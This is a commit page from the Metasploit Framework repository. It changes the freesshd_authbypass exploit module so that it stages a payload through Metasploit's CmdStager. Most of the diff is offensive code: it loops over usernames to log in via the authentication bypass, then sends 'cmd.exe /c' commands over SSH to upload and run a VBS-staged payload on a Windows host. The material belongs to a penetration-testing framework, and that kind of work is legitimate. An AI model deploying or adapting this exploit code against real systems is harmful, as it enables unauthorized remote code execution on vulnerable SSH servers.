Skip to content

Commit 8b7125e

Browse files
committed
Land rapid7#8095, CmdStager fix for freesshd_authbypass
2 parents fe4f20c + bc9aa14 commit 8b7125e

File tree

2 files changed

+9
-26
lines changed

2 files changed

+9
-26
lines changed

metasploit-framework.gemspec

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
# During build, the Gemfile is temporarily moved and
44
# we must manually define the project root
5-
if ENV['MSF_ROOT']
5+
if ENV['MSF_ROOT'] || ENV['RAILS_ENV']
66
lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT']))
77
files = `git ls-files`.split($/).reject { |file|
88
file =~ /^documentation|^data\/gui|^external/

modules/exploits/windows/ssh/freesshd_authbypass.rb

Lines changed: 8 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::Tcp
12-
include Msf::Exploit::EXE
12+
include Msf::Exploit::CmdStager
1313

1414
def initialize(info={})
1515
super(update_info(info,
@@ -80,24 +80,8 @@ def check
8080
end
8181

8282

83-
def upload_payload(connection)
84-
exe = generate_payload_exe
85-
filename = rand_text_alpha(8) + ".exe"
86-
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
87-
opts = {
88-
:linemax => 1700,
89-
:decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64"),
90-
}
91-
92-
cmds = cmdstager.generate(opts)
93-
94-
if (cmds.nil? or cmds.length < 1)
95-
print_error("The command stager could not be generated")
96-
raise ArgumentError
97-
end
98-
cmds.each { |cmd|
99-
connection.exec!("cmd.exe /c "+cmd)
100-
}
83+
def execute_command(cmd, opts = {})
84+
@connection.exec!("cmd.exe /c "+cmd)
10185
end
10286

10387
def setup_ssh_options
@@ -167,18 +151,17 @@ def exploit
167151

168152
options = setup_ssh_options
169153

170-
connection = nil
154+
@connection = nil
171155

172156
each_user do |username|
173157
next if username.empty?
174-
connection=do_login(username,options)
175-
break if connection
158+
@connection=do_login(username,options)
159+
break if @connection
176160
end
177161

178-
if connection
162+
if @connection
179163
print_status("Uploading payload, this may take several minutes...")
180-
upload_payload(connection)
181-
handler
164+
execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700)
182165
end
183166
end
184167

0 commit comments

Comments
 (0)